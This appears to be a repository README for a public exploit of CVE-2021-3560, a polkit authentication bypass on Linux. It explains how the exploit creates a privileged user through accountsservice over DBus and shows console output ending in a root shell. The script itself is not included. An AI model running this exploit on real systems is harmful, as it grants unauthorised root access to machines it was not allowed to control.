Polkit-exploit - CVE-2021-3560
Privilege escalation with polkit - CVE-2021-3560
Summary
CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.
Exploit Code Author
Ahmad Almorabea @almorabea http://almorabea.net
Usage
[email protected]:~/Desktop$ python3 CVE-2021-3560.py
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#
Demo
GUI Authentication
Terminal Authentication
Credit
Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)
30 Jan 17, 2022
105 Nov 26, 2022
2 Dec 06, 2021
1 Nov 10, 2021
2 Oct 18, 2022
3 Mar 29, 2022
6 Aug 02, 2022
7 Oct 22, 2022
6 Aug 04, 2022
66 Nov 08, 2022
772 Jan 05, 2023
534 Jan 08, 2023
431 Dec 22, 2022
10 Oct 19, 2022
1 Nov 15, 2021
10 Oct 29, 2022
27 Dec 06, 2022
1.5k Jan 02, 2023
1 Dec 23, 2021
1 Jan 01, 2022